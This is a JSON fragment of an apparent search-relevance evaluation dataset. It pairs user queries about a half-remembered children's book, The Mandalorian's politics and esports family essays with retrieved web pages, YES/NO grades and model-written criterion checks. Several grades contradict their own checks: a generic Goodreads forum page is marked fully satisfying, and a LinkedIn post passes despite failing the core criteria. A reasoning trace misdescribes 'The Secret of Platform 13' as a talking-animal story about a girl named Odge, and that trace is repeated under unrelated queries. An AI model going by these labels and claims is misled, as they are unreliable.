                "text": "Home   My Books    Browse \u25be    Recommendations   Choice Awards   Genres   Giveaways   New Releases   Lists   Explore   News &amp; Interviews      Art   Biography   Business   Children's   Christian   Classics   Comics   Cookbooks   Ebooks   Fantasy     Fiction   Graphic Novels   Historical Fiction   History   Horror   Memoir   Music   Mystery   Nonfiction   Poetry     Psychology   Romance   Science   Science Fiction   Self Help   Sports   Thriller   Travel   Young Adult   More Genres             \n \n \n \n \nDiscover new books on Goodreads\nMeet your next favorite book\n  \n \nWhat's the Name of That Book???\n \n  \n \n \n \nCan't remember the title of a book you read? Come search our bookshelves. If you don\u2019t find it there, post a description on our UNSOLVED message board. 1. GENRE and PLOT DETAILS are mandatory in the header/ topic title. Do NOT create vague topic headers like \"Romance\" or \"YA Fantasy\" or \"Looking for this book.\" Threads with vague headers will be CLOSED.(Fix a header/ topic title by clicking the small \"edit\" link after the header - using the full Desktop website. If you're using the Mobile website  \n Can't remember the title of a book you read? Come search our bookshelves. If you don\u2019t find it there, post a description on our UNSOLVED message board. 1. GENRE and PLOT DETAILS are mandatory in the header/ topic title. Do NOT create vague topic headers like \"Romance\" or \"YA Fantasy\" or \"Looking for this book.\" Threads with vague headers will be CLOSED.(Fix a header/ topic title by clicking the small \"edit\" link after the header - using the full Desktop website. If you're using the Mobile website, click the \"Desktop version\" link at the bottom of the page.) 2. Don't create duplicates of the same request. You can \"bump\" your topic/ thread (post a comment) every 30+ days, or sooner if you remember more info. 3. Tell us what year you read or heard about the book. A range of years is fine. You can mention when you think the book was published. 4. If you're searching for more than one book (or book series), start a ",
                "model_trace": "Query Decomposition:\n1. {Book about a young girl with a magic necklace that lets her talk to animals}: The document is a forum where users can post descriptions of books they are trying to identify -> ([1], SATISFIED)\n2. {Descriptions of the girl exploring the forest and meeting animals}: The forum allows users to post detailed descriptions of books, which might include such details -> ([1], SATISFIED)\n3. {Fantasy/adventure story, not a picture book}: The forum is suitable for identifying books across various genres, including fantasy/adventure -> ([1], SATISFIED)\n4. {Girl's name starts with an A or E}: The forum allows for detailed descriptions, which can include character names -> ([1], SATISFIED)\n5. {Title and author of the book}: The purpose of the forum is to help users identify the title and author of books based on descriptions -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The forum is designed to help users identify books based on detailed descriptions, making it a useful resource for the user's query. YES."
            }
        ]
    },
    {
        "query": "3. I'm looking for a personal essay or Substack post written by someone who grew up in a family that was deeply involved in the competitive video gaming scene. I'd like to read about their experiences traveling to tournaments, the intense training and preparation required, and how that lifestyle shaped their identity and relationships. Ideally, the essay would provide an insider's perspective on the highs and lows of being part of that community.",
        "grid_pos": [
            2,
            2
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "1. The book the user is describing sounds like \"The Secret of Platform 13\" by Eva Ibbotson, a fantasy novel about a young girl named Odge who finds a magical gateway to a parallel world and befriends various talking animals.\n\n2. The user is looking for an analysis of the political themes and symbolism in the TV show The Mandalorian, particularly how it relates to real-world politics and the conflict between the New Republic and the remnants of the Empire. The analysis should also touch on the show's depiction of Mandalorian culture and warrior traditions.\n\n3. The user is looking for a personal essay or Substack post written by someone who grew up in a family deeply involved in the competitive video gaming scene. The essay should provide an insider's perspective on the experiences of traveling to tournaments, the intense training and preparation required, and how that lifestyle shaped the author's identity and relationships.\n\n4. The user is looking for a blog post or article that provides a deep dive into the cultural and historical influences behind the cuisine of a specific region or country, exploring how factors like geography, trade routes, religious practices, and social structures have contributed to the development of unique dishes, ingredients, and cooking techniques over time.\n\n5. The user is looking for a personal essay or Substack post written by a lifelong fan of a particular book series or film franchise. The essay should explore the emotional connection the author has to the characters and story, how the work has impacted their life, and why it has remained meaningful to them over the years."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "My Family Loves Football. But Esports Feel Like Home",
                "url": "https://medium.com/@jamesbeta/my-family-loves-football-but-esports-feel-like-home-66d7ad642e33",
                "published_date": "2022-05-23",
                "text": "The love of sport can be isolating or unifying. Bruce Liu, CC BY-SA 3.0, via Wikimedia Commons My family chat is full of football, as usual. \u2018First win at Giant\u2019s stadium,\u2019 writes one brother. \u2018They\u2019re adjusting really well when there are big outs,\u2019 writes the other. Their comments celebrate the intricacies of that great game: the players, the coaches, the umpires and the fans. I leave them all on read. Australian rules football just isn\u2019t my game anymore. My dad\u2019s side of the family have always been rabid Carlton supporters. A few years ago, when my brothers and my Dad started watching footy together, it was a great excuse for us all to hang out. I would come along and try to get involved, piling onto the couch with my two brothers, dad in pride of place on the comfy armchair. I gave it a good go. I learned the players, watched the plays and got emotional about it, shouting at the screen here and there. We would share camaraderie and a few beers. It was bonding. When the deeper conversations started, their passion for the game was obvious. They sat forward, staring intently, trading opinions onfiner points of the sport. I\u2019d sit there with a smile plastered on my face and try to nod along, but the conversations that brought them to life left me feeling flat and a little lonely. I just didn\u2019t care enough about football to know the statistics, trades, injuries, or any other dimensions of the off-field life of the sport. Hoping to feel closer to them, I\u2019d force myself to open up football websites occasionally, only to end up staring blankly, completely disengaged. After the footy, I\u2019d usually be the first to want to leave. Then I discovered League of Legends. I\u2019d played a little of the game before, but never really gotten into it. The first time I watched a professional match, it was overwhelming. There was a massive amount of information kicking around the screen, but the casters were engaging, and I didn\u2019t care too much about the specifics. It was nice just to watch the characters run around and fight. After a few",
                "model_trace": "Query Decomposition:\n1. {personal essay or Substack post}: This document is a personal essay -> ([1], SATISFIED)\n2. {written by someone who grew up in a family deeply involved in the competitive video gaming scene}: The document mentions the author's family being deeply involved in football, not competitive video gaming -> ([1], UNSATISFIED)\n3. {experiences traveling to tournaments}: The document does not mention traveling to tournaments -> ([0], UNSURE)\n4. {intense training and preparation required}: The document does not mention intense training and preparation for competitive video gaming -> ([0], UNSURE)\n5. {how that lifestyle shaped their identity and relationships}: The document discusses how the author's interest in esports shaped their identity and relationships, but not in the context of growing up in a competitive gaming family -> ([1], UNSATISFIED)\n6. {insider's perspective on the highs and lows of being part of that community}: The document provides some perspective on being part of the esports community, but not from the standpoint of growing up in a competitive gaming family -> ([2], UNSURE)\n\nAssessment: The document fails to satisfy the key subcomponents related to growing up in a family involved in competitive video gaming and the associated experiences. NO."
            },
            {
                "grade": "NO",
                "title": "Son of Pong",
                "url": "https://medium.com/s/story/son-of-pong-f9102b412d03",
                "published_date": "2022-05-16",
                "text": "Coming of age as the child of a video game junkie Illustrations by Steven Smith Growing up, my old man wasn\u2019t into golf, or sports cars, or expensive booze. He wasn\u2019t like other dads. The man was really into sitting in his underwear and pushing buttons and winning games. I remember when he brought home our first video game system. He carried the box in his arms as if he had snatched it out of a basket floating in the Nile. I remember thinking how many trips to the amusement park one could buy with the funds he invested in a toy I never asked for. If he had asked me if I wanted an expensive toy, I would have happily told him that what I truly required was a Castle Grayskull Playset. It was stunning to see that he had used me. His son. I was his excuse to buy a video game system for himself. When he first powered it up, he clapped a slow clap; his football clap. The clap he had spent his life perfecting. A slow, satisfied clap that said \u201cGood effing job.\u201d There was a half-an-hour sweet spot there where I was totally pro-video game. I played the game Pong. It was a stupid game. Usually, a child\u2019s imagination is steak sauce; it can spice up a stick and turn it into a lightsaber. But I saw Pong for what it was: two rectangles batting a dot back and forth. It managed to make actual table tennis seem like exciting fun \u2014 and table tennis was a game you found in church basements, where fun goes to die. It didn\u2019t help that I had no natural aptitude for video game playing. I gave up. \u201cDon\u2019t give up, son,\u201d my dad said. \u201cTry again. You can\u2019t fail forever.\u201d Forever is a very long time. From day one, Dad was hooked. The joy on his face when he\u2019d escape into some maze was so real, I suddenly realized that he had a totally different \u201chappy face\u201d than the one I usually saw when I\u2019d announce I wanted to be a ballerina when I grew up. He had one \u201chappy face\u201d for when I\u2019d recite for him the code names, secret identities, and powers of all my favorite superheroes and another \u201chappy face\u201d for when he was bouncing a ball back and forth ",
                "model_trace": "Query Decomposition:\n1. {personal essay or Substack post}: This document is a personal essay -> ([1], SATISFIED)\n2. {written by someone who grew up in a family deeply involved in competitive video gaming}: The document talks about growing up with a father who was deeply into video games, but it does not explicitly mention competitive gaming -> ([2], UNSURE)\n3. {experiences traveling to tournaments}: The document does not mention traveling to tournaments -> ([1], UNSATISFIED)\n4. {intense training and preparation required}: The document does not mention intense training and preparation -> ([1], UNSATISFIED)\n5. {how that lifestyle shaped their identity and relationships}: The document does discuss how the father's gaming lifestyle impacted the author's perception and relationship with their father -> ([1], SATISFIED)\n6. {insider's perspective on the highs and lows of being part of that community}: The document provides some personal insights but does not fully cover the highs and lows of a competitive gaming community -> ([2], UNSURE)\n\nAssessment: The relevant subcomponents are {personal essay or Substack post} and {how that lifestyle shaped their identity and relationships}. Both of these subcomponents are satisfied. However, the document does not satisfy the key subcomponents related to competitive gaming, tournament experiences, and intense preparation. NO."
            },
            {
                "grade": "NO",
                "title": "The Interplay of Sports and Competitive Gaming",
                "url": "https://oniomoile.wixsite.com/ogrechronicle/post/the-interplay-of-sports-and-competitive-gaming",
                "published_date": "2021-10-07",
                "text": "The symbiotic relationship that's given me so much. I've said it many times before, whether in person or on my socials, that I would not be the person I am today or have achieved the things that I have without the presence of gaming in my life. What exactly does that mean though? To some, including my very own parents, that statement on its face that might seem absolutely ridiculous! If obsessively playing video games could lead all the way to a full collegiate and professional football career any Joe Schmoe NEET holed up in his mom's basement could do it right? While I'd be lying to you if there wasn't some obvious external circumstances to consider (Unfortunately playing Guilty Gear all night does not give you the ability to squat 700 pounds) and obviously all things good or otherwise need some moderation, in the realm of the mind I'd argue there was no clearer source for the development for my problem solving skills and competitive drive than video games. Games are only a mindless, empty exercise in killing time if you let it be , there is plenty of real world applicable lessons you can learn from them if you are willing to look beyond just the surface level of gameplay. Thankfully, I am definitely not alone in this line of thinking, as Packers QB Kurt Benkert would tell you. No joke, seeing this clip is what motivated me to pen this piece in the first place. A small, entertaining bit on my personal gaming background growing up. The single earliest memory my mashed potato brain can recall is me climbing the stairs to play Mario Kart 64 at 3 years old. My older sister Nicolette would beat my ass at Super Street Fighter II so bad I'd end up crying in frustration. For my 4th birthday my parents got me a kiwi Game Boy Color with Pokemon Blue that may as well have been glued to my hands (As seen in my twitter banner at the time of the posting of this article!) that was stolen by a maid during a family vacation to Cancun and is the main reason I will never step foot again in Mexico to this day. I used to crawl throu",
                "model_trace": "Query Decomposition:\n1. {personal essay or Substack post}: This document is a personal essay -> ([1], SATISFIED)\n2. {written by someone who grew up in a family deeply involved in the competitive video gaming scene}: The author mentions their personal gaming background but does not explicitly state that their family was deeply involved in the competitive gaming scene -> ([0], UNSURE)\n3. {experiences traveling to tournaments}: There is no mention of traveling to tournaments in the provided content -> ([0], UNSURE)\n4. {intense training and preparation required}: There is no mention of intense training and preparation for competitive gaming -> ([0], UNSURE)\n5. {how that lifestyle shaped their identity and relationships}: The author discusses how gaming shaped their identity and competitive drive -> ([1], SATISFIED)\n6. {insider's perspective on the highs and lows of being part of that community}: The content does not provide a detailed insider's perspective on the competitive gaming community's highs and lows -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponents {personal essay or Substack post} and {how that lifestyle shaped their identity and relationships}. However, it lacks information on the family's deep involvement in competitive gaming, experiences traveling to tournaments, intense training, and an insider's perspective on the community's highs and lows. Therefore, the document does not fully meet the user's query.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "How Erik Hoel welcomed thousands of subscribers by ...",
                "url": "https://on.substack.com/p/grow-series-9",
                "published_date": null,
                "text": "This is the continuation of our Grow interview series, designed to share the nuts and bolts of how writers have gone independent and grown their audiences on Substack.   We invited Erik Hoel, who writes The Intrinsic Perspective, to share his insights on returning to topics with fresh takes and allowing room for interaction and speculation, to boost virality.\u00a0   This interview has been lightly edited for length and clarity.        Erik Hoel           Intellectual investigations that merge the arts and the sciences, or, in one word, \u201cconsilience.\u201d I grew up in my mother\u2019s independent bookstore, so I love books. I sold books for a living. I\u2019ve written books. But a huge number of readers have migrated to reading mostly online. People don\u2019t wake up and pick up a book; they wake up and pick up their phones.\u00a0 That may sound terrible, but it\u2019s worth remembering that people will, if given the opportunity, read a 5,000-word essay on their phone. And they\u2019ll do it right there, with their head still on the pillow. In those cases, it\u2019s not terrible; it\u2019s wonderful. And if you can capture that, if you can direct that attention to things worth attending to, it\u2019s incredibly powerful. So if you\u2019re a writer, why not go where the action is?   It\u2019s worth remembering that people will, if given the opportunity, read a 5,000-word essay on their phone. And they\u2019ll do it right there, with their head still on the pillow. In those cases, it\u2019s not terrible; it\u2019s wonderful.           My background as both a scientist and a fiction author allows me to cover a lot of ground. Some days I\u2019ll write about the publishing industry, others about artificial intelligence.\u00a0 I spend a lot of time polishing each post, such that hopefully everyone reading feels it\u2019s worth their time and they look forward to the next piece. I want people to feel the quality they\u2019re getting rivals that of big think pieces in traditional media outlets, like The Atlantic, The New Yorker, or Aeon. But unlike those places, I can be idiosyncratic and take risks, in terms of both",
                "model_trace": "Query Decomposition:\n1. {personal essay or Substack post}: The document is an interview about a Substack writer, so it is related to Substack posts -> ([1], SATISFIED)\n2. {written by someone who grew up in a family deeply involved in competitive video gaming}: The document does not mention anything about the writer's family being involved in competitive video gaming -> ([0], UNSURE)\n3. {experiences traveling to tournaments, intense training, preparation, and lifestyle shaping identity and relationships}: The document does not mention any experiences related to competitive video gaming -> ([0], UNSURE)\n4. {insider's perspective on the highs and lows of being part of that community}: The document does not provide an insider's perspective on the competitive video gaming community -> ([0], UNSURE)\n\nAssessment: The document only satisfies the subcomponent related to being a Substack post, but it does not address any of the specific content requirements related to competitive video gaming. NO."
            },
            {
                "grade": "YES",
                "title": "How a Video Game Impacted My Professional Life",
                "url": "https://www.linkedin.com/pulse/how-video-game-impacted-my-professional-life-michael-panchu",
                "published_date": null,
                "text": "\ud83d\udd49Michael Panchu\ud83d\udcbb\n      \n      \n          \n          \n          \n            \n        \ud83d\udd49Michael Panchu\ud83d\udcbb\n      \n          \n          \n            \n              \n            Versatile IT Professional | Software and Application Support | Technical Support | Proficient in SQL, Excel, Tableau\n                \n            \n              \n                \n          Published May 28, 2020\n      \n              \n        \n          \n      \n    \n      \n      \n      \n             I used to play a fighting video game competitively (Super Smash Brothers for Wii U and\u00a0Super Smash Brothers Ultimate). I was known by folks in the community and close friends growing up by the gamer tag listed below. (Yes I had somewhat of an alternate identity when I was in high school).    I never thought I\u2019d see the day where I post about my once gaming identity on here, given the overall stigma around gaming in general. However, hear me out on this one. During my time as a competitive gamer one does develop soft and hard skills that would be considered valuable to an employer.   The ability to work under pressure: When you are playing a video game competitively at a tournament you are forced into a play to win situation. The pressure is on if you are considered a notable player in the scene. To add to this you have to perform in front of a huge crowd which can be daunting.\u00a0\u00a0  Communication/Ability to work well with others: Communication is critical in the competitive gaming scene. Your ability to communicate has to be up to par in regards to letting the tournament organizer seed you properly into the bracket. In addition, if you are competing in a bracket alongside a teammate it\u2019s important to keep him/her in the loop about strategies to win.  Analytical thinking: Much like many other things in life the concept of failure arises a lot in the competitive gaming scene. When you lose an important match in a tournament bracket, it\u2019s in the very best interest of the player who lost to analyze/evaluate what went wrong in the match they lost in. All to f",
                "model_trace": "Query Decomposition:\n1. {personal essay or Substack post}: This document is a personal essay -> ([1], SATISFIED)\n2. {written by someone who grew up in a family deeply involved in competitive video gaming}: The document mentions the author's involvement in competitive gaming but does not specify family involvement -> ([0], UNSURE)\n3. {experiences traveling to tournaments}: The document mentions playing in tournaments but does not detail traveling experiences -> ([0], UNSURE)\n4. {intense training and preparation required}: The document discusses skills developed but does not detail training and preparation -> ([0], UNSURE)\n5. {how that lifestyle shaped their identity and relationships}: The document touches on how gaming impacted the author's professional life, which can be seen as part of their identity -> ([2], SATISFIED)\n6. {insider's perspective on the highs and lows of being part of that community}: The document provides some insights into the competitive gaming scene but lacks depth on the highs and lows -> ([2], UNSURE)\n\nAssessment: The relevant subcomponents are {personal essay or Substack post} and {how that lifestyle shaped their identity and relationships}. Both are satisfied. The document does not provide enough information on the other subcomponents to evaluate them properly. YES."
            },
            {
                "grade": "NO",
                "title": "let's not resurrect the first-person industrial complex",
                "url": "https://thefrankiedlc.substack.com/p/lets-not-resurrect-the-first-person",
                "published_date": null,
                "text": "Hi! You may have noticed that this newsletter is coming to you from Substack. I have begrudgingly moved everything back over here because it\u2019s just easier to navigate and streamline. This should not impact you or your subscription, except now you can read me where you read the rest of your Substacks.          I am a published author and award-winning journalist. The fact that I have managed to carve out this career for myself is miraculous, to be honest. I have no formal journalism training and am entirely self-taught by Facebook groups, Slack channels, and pure hubris.  My writing career started the only place it could have: with personal essays. I came up in the blogosphere of the early aughts, learning how to hook a reader, frame a story, and tell it in under 2,000 words. These were valuable skills to learn for a digital world and while many professional writers turn their noses up at blogging, I truly believe that my time with a blog helped me to establish my voice as a writer and taught me how to write for an audience.  known as the \u201cfirst-person industrial complex,\u201d           Laura Bennett wrote in 2015 for   Slate   As a writer who came up during this boom, I know this double-edged sword well. As a blogger I overshared on the internet, but I was doing it for a fairly contained audience. And while I did face some fallout when people I knew discovered my blog (and the things I\u2019d written about my life, including them), I wasn\u2019t opening myself up to the whole world and the fact that I had a pseudonym meant that none of the writing was associated with a Google search of me.  was an essay  I remember being thrilled when Hearst invited me to be part of their program they called \u201cThe Mix.\u201d They\u2019d ask for hyper-specific essays and contributors could write something to fit the prompt with no guarantee they\u2019d be selected for publication (essentially, writing on spec). If your essay was chosen to be published, it was $150 and they could syndicate them at all Hearst publications with no extra compensation. You\u2019d get an",
                "model_trace": "Query Decomposition:\n1. {personal essay or Substack post}: This document is a Substack post -> ([1], SATISFIED)\n2. {written by someone who grew up in a family deeply involved in competitive video gaming}: The document does not mention anything about the author's family being involved in competitive video gaming -> ([0], UNSURE)\n3. {experiences traveling to tournaments, intense training, and preparation}: The document does not mention experiences related to competitive video gaming, such as traveling to tournaments or intense training -> ([0], UNSURE)\n4. {how that lifestyle shaped their identity and relationships}: The document does not discuss how a competitive video gaming lifestyle shaped the author's identity and relationships -> ([0], UNSURE)\n5. {insider's perspective on the highs and lows of being part of that community}: The document does not provide an insider's perspective on the competitive video gaming community -> ([0], UNSURE)\n\nAssessment: The only relevant subcomponent is {personal essay or Substack post}, which is satisfied. However, the document does not address any of the specific experiences or perspectives related to competitive video gaming that the user is looking for. NO."
            }
        ]
    },
    {
        "query": "2. I'm trying to find a blog post or article that analyzes the political themes and symbolism in the TV show The Mandalorian. I'm particularly interested in how the show portrays the conflict between the New Republic and the remnants of the Empire, and how that relates to real-world politics and current events. Bonus points if the analysis also touches on the show's depiction of Mandalorian culture and warrior traditions.",
        "grid_pos": [
            2,
            2
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "1. The book the user is describing sounds like \"The Secret of Platform 13\" by Eva Ibbotson, a fantasy novel about a young girl named Odge who finds a magical gateway to a parallel world and befriends various talking animals.\n\n2. The user is looking for an analysis of the political themes and symbolism in the TV show The Mandalorian, particularly how it relates to real-world politics and the conflict between the New Republic and the remnants of the Empire. The analysis should also touch on the show's depiction of Mandalorian culture and warrior traditions.\n\n3. The user is looking for a personal essay or Substack post written by someone who grew up in a family deeply involved in the competitive video gaming scene. The essay should provide an insider's perspective on the experiences of traveling to tournaments, the intense training and preparation required, and how that lifestyle shaped the author's identity and relationships.\n\n4. The user is looking for a blog post or article that provides a deep dive into the cultural and historical influences behind the cuisine of a specific region or country, exploring how factors like geography, trade routes, religious practices, and social structures have contributed to the development of unique dishes, ingredients, and cooking techniques over time.\n\n5. The user is looking for a personal essay or Substack post written by a lifelong fan of a particular book series or film franchise. The essay should explore the emotional connection the author has to the characters and story, how the work has impacted their life, and why it has remained meaningful to them over the years."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "The Good, the Bad, and the Mandalorian",
                "url": "https://www.tumblr.com/swshadowcouncil/645723214418493440/the-good-the-bad-and-the-mandalorian",
                "published_date": "2021-03-15",
                "text": "Comparing The Film Scoring Processes of John Williams and Hans Zimmer Comparing The Film Scoring Processes of John Williams and Hans Zimmer John Williams and Hans Zimmer are both brilliant composers of iconic blockbuster scores, but they have very different processes by which they craft their scores. \nJohn Williams considers himself \u201cOld School\u201d when it comes to how he goes about actually writing his scores. He still uses pencil and paper to actually write out the score. He also prefers to score his films based on his initial\u2026 How Leitmotifs are Used in Film Scores How Leitmotifs are Used in Film Scores A Leitmotif is a short musical phrase that is repeated throughout the film or series of films to emphasize recurring people, places, objects, ideas, emotions etc. Some of the best uses of leitmotif in cinema, in my humble opinion, come from film series with long run times where the scores for all of the films are composed by the same composer. The length of the series allows the composer to\u2026 Why do Films have Scores? A brief history of music in storytelling Why do Films have Scores? A brief history of music in storytelling Why do films have scores? It seems like a rather odd question to ask. To us It seems perfectly natural that when we watch a movie there is music behind each scene carefully crafted to shepherd our emotions through the story. In fact a number of videos have been made that point out just how awkward films feel when the score is removed. \nBut if you think about it it is rather odd that there\u2019s\u2026 Chapter 4: The Japanese Inspirations for Kyoshi Island Chapter 4: The Japanese Inspirations for Kyoshi Island Kyoshi Island and the Kyoshi Warriors draw inspiration from Japanese history and culture in a number of ways, but some Chinese influences can also be seen. \nNames \nKyoshi \u2013 \u4eac\u58eb, is actually a Japanese male first name, Kyo means capital, shi can mean samurai \nSuki \u2013 \u3059\u304d or \u597d\u5e0c using Kanji, is a Japanese female first name, the Kanji mean good and hope, respectively \nUnagi \u2013 \u3046\u306a\u304e, \u9c3b, is the Japanese\u2026 From a",
                "model_trace": "Query Decomposition:\n1. {analyzes the political themes and symbolism in the TV show The Mandalorian}: This document does not contain any analysis of political themes or symbolism in The Mandalorian -> ([0], UNSATISFIED)\n2. {portrays the conflict between the New Republic and the remnants of the Empire}: This document does not discuss the conflict between the New Republic and the remnants of the Empire -> ([0], UNSATISFIED)\n3. {relates to real-world politics and current events}: This document does not relate to real-world politics and current events -> ([0], UNSATISFIED)\n4. {depiction of Mandalorian culture and warrior traditions}: This document does not touch on Mandalorian culture and warrior traditions -> ([0], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the relevant subcomponents. NO."
            },
            {
                "grade": "NO",
                "title": "Helmet and Hood",
                "url": "https://nitinbharadwaj.medium.com/helmet-and-hood-71d8c0fe7cf9?source=post_internal_links---------5----------------------------",
                "published_date": "2020-02-06",
                "text": "SPOILER WARNING: This article contains spoilers for the television show The Mandalorian. The show, The Mandalorian, has produced the most memeable character to ever be on television, Baby Yoda. By far the most popular character, Baby Yoda is undoubtedly in part responsible for the massive hype that the show has built in its 8 episode run. Other factors such as the show being a Star Wars franchise and the first live-action show to premiere on Disney Plus have induced such hype. The show has dealt with this hype brilliantly and has exceeded expectations with a riveting plot that takes place in a previously unseen setting of Star Wars. It does so by incorporating unique and fresh characters while maintaining a western feel inside the world of Star Wars. Our main character, Mando, is a seemingly emotionless and calculating bounty hunter who will do whatever it takes to complete a bounty and move on to the next. However, the development that character sees throughout the series reveals his extremely complex nature, as he maintains a stoic facade in an attempt to hide deep-seated emotional trauma. Watching the show, the character of Mando struck me as familiar and created a sense of nostalgia within me. He is more than just the prototypical, resourceful gunslinger that we see in characters like Harrison Ford\u2019s Han Solo or Clint Eastwood\u2019s man with no name. The Mandalorian is far more similar to Lord of the Rings\u2019 own hero, Aragorn. The comparisons that can be made between the Mandalorian and Aragorn are boundless. The two of them are members of a mysterious creed with the Mandalorian a member of the Mandalorian tribe and Aragorn a member of the Rangers. Both of them seem to be independent to a fault, not letting anyone in, waiting in the shadows, and doing what they must. They keep others at a distance, revealing very little about their own lives. These traits help hide who they truly are and do not tell the story of the very deep and complex emotional identities that the two of them have. Aragorn\u2019s complex nature stem",
                "model_trace": "Query Decomposition:\n1. {analyzes the political themes and symbolism in The Mandalorian}: The document does not mention political themes or symbolism in The Mandalorian -> ([1], UNSATISFIED)\n2. {portrays the conflict between the New Republic and the remnants of the Empire}: The document does not mention the conflict between the New Republic and the remnants of the Empire -> ([1], UNSATISFIED)\n3. {relates to real-world politics and current events}: The document does not relate the show's themes to real-world politics and current events -> ([1], UNSATISFIED)\n4. {depiction of Mandalorian culture and warrior traditions}: The document briefly touches on Mandalorian culture by discussing the main character's background and traits -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {analyzes the political themes and symbolism in The Mandalorian}, {portrays the conflict between the New Republic and the remnants of the Empire}, and {relates to real-world politics and current events}. Since these subcomponents are UNSATISFIED, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "This is the Way: Anti-War and Anti-Colonial Lessons to Learn from The Mandalorian",
                "url": "http://eleven-thirtyeight.com/2021/01/this-is-the-way-anti-war-and-anti-colonial-lessons-to-learn-from-the-mandalorian/",
                "published_date": "2021-01-11",
                "text": "Star Wars has always been known for strong anti-imperial themes, and these powerful political messages are particularly apparent in The Mandalorian. In this piece, I\u2019ll explain how Din Djarin\u2019s interactions with the Tusken Raiders, an Indigenous alien race, could provide important lessons to consider regarding the treatment of native communities. Even though Star Wars has tended to depict the Tuskens as being dangerous and monster-like, The Mandalorian shows they are actually a complex, dynamic and even vulnerable species. I\u2019ll go on to explore how the show demonstrates the importance of coalition building, and shows the dangers of imperialism and war as embodied by those who lead the Empire.\nLast year, I touched on the mistakes of the Republic as depicted in The Clone Wars \u2013 how its indifference to the suffering of ordinary people, and insidious expansion of imperialism, helped to create the Empire. Before that, another piece on colonialism by Abigail Dillon (that every fan should read) discussed why the role of Ezra in Star Wars Rebels was so powerful because he served as one of the first main heroes to firmly position themselves against the dangerous colonial points of views embodied by other characters. Like Ezra, I think Din is a continuation of fan-favorite characters representing a more recent tradition of Star Wars, particularly under the direction of Dave Filoni, that critically engages with themes of colonization at the narrative\u2019s core in ways we haven\u2019t seen before.\nThe first main interaction with Indigenous communities in The Mandalorian is in the fifth episode of season one, \u201cThe Gunslinger\u201d, where Din works with Toro Calican, a young, na\u00efve bounty hunter on Tatooine. In their trek the characters come across the native Tusken Raiders, whom Toro describes as \u201cfilth\u201d that were standing in their way. Din, on the other hand, explains that they are Indigenous locals and the two of them are considered trespassers in the view of the Tuskens. Rather than engaging with them in a way that would antagonize the",
                "model_trace": "Query Decomposition:\n1. {Analyzes the political themes and symbolism in The Mandalorian}: The document discusses anti-imperial and anti-colonial themes in The Mandalorian, which are political themes -> ([1], SATISFIED)\n2. {Portrays the conflict between the New Republic and the remnants of the Empire}: The document mentions the dangers of imperialism and war as embodied by those who lead the Empire, but it does not specifically address the conflict between the New Republic and the remnants of the Empire -> ([0], UNSURE)\n3. {Relates to real-world politics and current events}: The document draws parallels between the treatment of Indigenous communities in the show and real-world issues, which can be inferred to relate to current events -> ([2], SATISFIED)\n4. {Depiction of Mandalorian culture and warrior traditions}: The document discusses Din Djarin's interactions and perspectives but does not specifically focus on Mandalorian culture and warrior traditions -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Analyzes the political themes and symbolism in The Mandalorian} and {Relates to real-world politics and current events}. Since both subcomponents are satisfied, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "The Mandalorian Has Real World Parallels As Intense ...",
                "url": "https://screenrant.com/the-mandalorian-season-3-real-world-parallels/",
                "published_date": null,
                "text": "This article contains spoilers for The Mandalorian season 3, episode 3.   The Mandalorian   follows Andor's lead in drawing striking real-world parallels. It's easy for modern viewers to forget that Star Wars has always been political. George Lucas drew on the Vietnam War when he came up with the idea of a military imperial complex going up against a group of plucky rebels - and it's striking that, in this interpretation, the United States stands as the Empire. Back in 1981, George Lucas was asked whether the Emperor was a fallen Jedi, and he gave a startling answer. \"No, he was a politician,\" Lucas observed, \"Richard M. Nixon was his name. He subverted the senate and finally took over and became an imperial guy and he was really evil. But he pretended to be a really nice guy.\"\n    \n    \n                     Andor learned from Lucas' prequel trilogy mistakes, using galactic politics to tell a surprisingly tense story in which the political imagery felt raw and uncomfortable. This approach was hardly a secret, with cast and crew openly discussing it as part of the Disney+ TV show's marketing. Actress Fiona Shaw (Maarva Andor) openly called Tony Gilroy's script \"a great, scurrilous [take] on the Trumpian world.\" The Mandalorian follows this trend, with an increasingly visible political leaning. While the primary imagery is historical, it still has profound implications for the present day.\n    \n    \n    \n                        The Mandalorian Is Portraying The Empire As Nazis With Its Dr. Pershing Plot\n               \n                \n    \n    \n    \n                \n    \n                \n        \n                                                            \n                                                                                                                        \n                            \n    \n            \n        \n                                    \n    \n        \n                    While most episodes of The Mandalorian are focused on Din Djarin, that is not the case with season 3, episode 3. The",
                "model_trace": "Query Decomposition:\n1. {analyzes the political themes and symbolism in The Mandalorian}: The document discusses the political themes and symbolism in The Mandalorian, drawing parallels to real-world politics -> ([1], SATISFIED)\n2. {portrays the conflict between the New Republic and the remnants of the Empire}: The document mentions the portrayal of the Empire, comparing it to Nazis, which implies a discussion of the conflict -> ([2], SATISFIED)\n3. {relates to real-world politics and current events}: The document explicitly draws parallels between the show and real-world politics, including references to historical and current events -> ([1], SATISFIED)\n4. {depiction of Mandalorian culture and warrior traditions}: The document does not seem to mention Mandalorian culture and warrior traditions -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {analyzes the political themes and symbolism in The Mandalorian}, {portrays the conflict between the New Republic and the remnants of the Empire}, and {relates to real-world politics and current events}. Since all these subcomponents are satisfied, the document is helpful for the user's request. YES."
            },
            {
                "grade": "NO",
                "title": "'The Mandalorian' Is Bad and the Whole World Has Gone ...",
                "url": "https://medium.com/wisecrack/the-mandalorian-is-bad-and-the-whole-world-has-gone-mad-a6fe2a484a59",
                "published_date": null,
